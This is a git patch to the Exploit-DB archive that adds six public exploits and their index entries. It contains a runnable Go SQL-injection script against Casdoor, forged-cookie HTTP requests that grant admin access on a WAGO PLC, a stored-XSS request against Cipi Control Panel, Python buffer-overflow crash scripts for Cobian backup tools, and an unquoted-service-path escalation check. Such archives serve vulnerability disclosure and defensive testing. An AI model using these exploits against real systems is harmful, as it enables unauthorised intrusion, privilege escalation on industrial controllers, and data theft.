From bba496461e055be6dffc797a4115f4b39cdda720 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 1 Mar 2022 05:01:37 +0000 Subject: [PATCH] DB: 2022-03-01 6 changes to exploits/shellcodes Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC) Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC) Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path WAGO 750-8212 PFC200 G2 2ETH RS - Privilege Escalation Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated) Casdoor 1.13.0 - SQL Injection (Unauthenticated) --- exploits/hardware/remote/50793.txt | 37 ++++++++++++++++ exploits/linux/webapps/50788.txt | 32 ++++++++++++++ exploits/multiple/webapps/50792.go | 71 ++++++++++++++++++++++++++++++ exploits/windows/local/50789.py | 29 ++++++++++++ exploits/windows/local/50790.py | 28 ++++++++++++ exploits/windows/local/50791.txt | 36 +++++++++++++++ files_exploits.csv | 6 +++ 7 files changed, 239 insertions(+) create mode 100644 exploits/hardware/remote/50793.txt create mode 100644 exploits/linux/webapps/50788.txt create mode 100755 exploits/multiple/webapps/50792.go create mode 100755 exploits/windows/local/50789.py create mode 100755 exploits/windows/local/50790.py create mode 100644 exploits/windows/local/50791.txt diff --git a/exploits/hardware/remote/50793.txt b/exploits/hardware/remote/50793.txt new file mode 100644 index 000000000..fb2a9119b --- /dev/null +++ b/exploits/hardware/remote/50793.txt @@ -0,0 +1,37 @@ +# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation +# Date: 02/16/2022 +# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB +# Vendor Homepage: https://www.wago.com +# Version: Firmware version 03.05.10(17) +# Tested on: PopOS! [Linux](Firefox) +# CVE : CVE-2021-46388 + +======================================== += The ordinary user privilege request: +======================================== + +GET /wbm/ HTTP/1.1 +Host: 192.168.1.1 +User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +DNT: 1 +Connection: close +Referer: http://192.168.1.1/wbm/ +Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true} + +========================================== += Manipulated Cookie to Admin Privilege: +========================================== + +GET /wbm/ HTTP/1.1 +Host: 192.168.1.1 +User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +DNT: 1 +Connection: close +Referer: http://192.168.1.1/wbm/ +Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true} \ No newline at end of file diff --git a/exploits/linux/webapps/50788.txt b/exploits/linux/webapps/50788.txt new file mode 100644 index 000000000..77aed5b78 --- /dev/null +++ b/exploits/linux/webapps/50788.txt @@ -0,0 +1,32 @@ +# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated) +# Date: 24.02.2022 +# Exploit Author: Fikrat Ghuliev (Ghuliev) +# Vendor Homepage: https://cipi.sh/ +# Software Link: https://cipi.sh/ +# Version: 3.1.15 +# Tested on: Ubuntu + +When the user wants to add a new server on the "Server" panel, in "name" +parameter has not had any filtration. + +POST /api/servers HTTP/1.1 +Host: IP +Content-Length: 102 +Accept: application/json +X-Requested-With: XMLHttpRequest +Authorization: Bearer +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 +Content-Type: application/json +Origin: http://IP +Referer: http://IP/servers +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +{ +"name":"\">", +"ip":"10.10.10.10", +"provider":"local", +"location":"xss test" +} \ No newline at end of file diff --git a/exploits/multiple/webapps/50792.go b/exploits/multiple/webapps/50792.go new file mode 100755 index 000000000..ec829057b --- /dev/null +++ b/exploits/multiple/webapps/50792.go @@ -0,0 +1,71 @@ +// Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated) +// Date: 2022-02-25 +// Exploit Author: Mayank Deshmukh +// Vendor Homepage: https://casdoor.org/ +// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0 +// Version: version < 1.13.1 +// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r +// Tested on: Kali Linux +// CVE : CVE-2022-24124 +// Github POC: https://github.com/ColdFusionX/CVE-2022-24124 + +// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080 + +package main + +import ( + "flag" + "fmt" + "html" + "io/ioutil" + "net/http" + "os" + "regexp" + "strings" +) + +func main() { + var url string + flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)") + flag.Parse() + + banner := ` +-=Casdoor SQL Injection (CVE-2022-24124)=- +- by Mayank Deshmukh (ColdFusionX) + +` + fmt.Printf(banner) + fmt.Println("[*] Dumping Database Version") + response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)") + + if err != nil { + panic(err) + } + + defer response.Body.Close() + + databytes, err := ioutil.ReadAll(response.Body) + + if err != nil { + panic(err) + } + + content := string(databytes) + + re := regexp.MustCompile("(?i)(XPATH syntax error.*')") + + result := re.FindAllString(content, -1) + + sqliop := fmt.Sprint(result) + replacer := strings.NewReplacer("[", "", "]", "", "'", "", ";", "") + + finalop := replacer.Replace(sqliop) + fmt.Println(html.UnescapeString(finalop)) + + + if result == nil { + fmt.Printf("Application not vulnerable\n") + os.Exit(1) + } + +} \ No newline at end of file diff --git a/exploits/windows/local/50789.py b/exploits/windows/local/50789.py new file mode 100755 index 000000000..442d3636c --- /dev/null +++ b/exploits/windows/local/50789.py @@ -0,0 +1,29 @@ +# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC) +# Discovery by: Luis Martinez +# Discovery Date: 2022-02-16 +# Vendor Homepage: https://www.cobiansoft.com/ +# Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe +# Tested Version: 0.9.93 RC1 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: Windows 10 Pro x64 es + +# Steps to Produce the Crash: +# 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py +# 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard +# 3.- Open "Cobian Reflector User Interface" +# 4.- Task -> "New task" +# 5.- Files -> Source "Add" -> SFTP +# 6.- Host -> 10.10.10.10 +# 7.- Port-> 22 +# 8.- User name -> admin +# 9.- Paste ClipBoard on "Password" +# 10.- Test settings +# 11.- Yes +# 12.- Crashed + +#!/usr/bin/env python + +buffer = "\x41" * 8000 +f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w") +f.write(buffer) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/50790.py b/exploits/windows/local/50790.py new file mode 100755 index 000000000..9671e7f47 --- /dev/null +++ b/exploits/windows/local/50790.py @@ -0,0 +1,28 @@ +# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC) +# Discovery by: Luis Martinez +# Discovery Date: 2022-02-16 +# Vendor Homepage: https://www.cobiansoft.com/ +# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe +# Tested Version: 11.2.0.582 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: Windows 10 Pro x64 es + +# Steps to Produce the Crash: +# 1.- Run python code: Cobian_Backup_11.2.0.582.py +# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard +# 3.- Open "Cobian Backup 11 Gravity User Interface" +# 4.- Task -> "New task" +# 5.- File -> Source "Add" -> FTP +# 6.- Host -> 10.10.10.10 +# 7.- Port-> 21 +# 8.- User name -> admin +# 9.- Paste ClipBoard on "Password" +# 10.- Ok +# 11.- Crashed + +#!/usr/bin/env python + +buffer = "\x41" * 800 +f = open ("Cobian_Backup_11.2.0.582.txt", "w") +f.write(buffer) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/50791.txt b/exploits/windows/local/50791.txt new file mode 100644 index 000000000..53b2d2ee3 --- /dev/null +++ b/exploits/windows/local/50791.txt @@ -0,0 +1,36 @@ +# Exploit Title: Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path +# Discovery by: Luis Martinez +# Discovery Date: 2022-02-24 +# Vendor Homepage: https://www.cobiansoft.com/ +# Software Link : https://files.cobiansoft.com/programs/cbSetup.exe +# Tested Version: 11.2.0.582 +# Vulnerability Type: Unquoted Service Path +# Tested on OS: Windows 10 Pro x64 es + +# Step to discover Unquoted Service Path: + +C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Gravity " | findstr /i /v """ + + +Cobian Backup 11 Gravity CobianBackup11 C:\Program Files (x86)\Cobian Backup 11\cbService.exe Auto + + +# Service info: + +C:\>sc qc CobianBackup11 +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: CobianBackup11 + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 2 AUTO_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Program Files (x86)\Cobian Backup 11\cbService.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : Cobian Backup 11 Gravity + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +#Exploit: + +A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 6a7a2374b..f4989230f 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11454,6 +11454,9 @@ id,file,description,date,author,type,platform,port 50773,exploits/hardware/local/50773.sh,"Cyclades Serial Console Server 3.3.0 - Local Privilege Escalation",1970-01-01,ibby,local,hardware, 50776,exploits/windows/local/50776.txt,"Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path",1970-01-01,"Johto Robbie",local,windows, 50787,exploits/windows/local/50787.txt,"Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions",1970-01-01,"Luis Martínez",local,windows, +50789,exploits/windows/local/50789.py,"Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)",1970-01-01,"Luis Martínez",local,windows, +50790,exploits/windows/local/50790.py,"Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)",1970-01-01,"Luis Martínez",local,windows, +50791,exploits/windows/local/50791.txt,"Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path",1970-01-01,"Luis Martínez",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139 @@ -18626,6 +18629,7 @@ id,file,description,date,author,type,platform,port 50290,exploits/multiple/remote/50290.as,"Adobe Flash Player - Integer Overflow",1970-01-01,ryujin,remote,multiple, 50781,exploits/windows/remote/50781.txt,"Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)",1970-01-01,"Amel BOUZIANE-LEBLOND",remote,windows, 50783,exploits/hardware/remote/50783.py,"ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 - Remote File CRUD",1970-01-01,LiquidWorm,remote,hardware, +50793,exploits/hardware/remote/50793.txt,"WAGO 750-8212 PFC200 G2 2ETH RS - Privilege Escalation",1970-01-01,"Momen Eldawakhly",remote,hardware, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php, @@ -44857,3 +44861,5 @@ id,file,description,date,author,type,platform,port 50784,exploits/php/webapps/50784.py,"WebHMI 4.1.1 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Antonio Cuomo",webapps,php, 50785,exploits/php/webapps/50785.txt,"WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)",1970-01-01,"Antonio Cuomo",webapps,php, 50786,exploits/php/webapps/50786.rb,"Microweber CMS 1.2.10 - Local File Inclusion (Authenticated) (Metasploit)",1970-01-01,"Talha Karakumru",webapps,php, +50788,exploits/linux/webapps/50788.txt,"Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)",1970-01-01,Ghuliev,webapps,linux, +50792,exploits/multiple/webapps/50792.go,"Casdoor 1.13.0 - SQL Injection (Unauthenticated)",1970-01-01,"Mayank Deshmukh",webapps,multiple,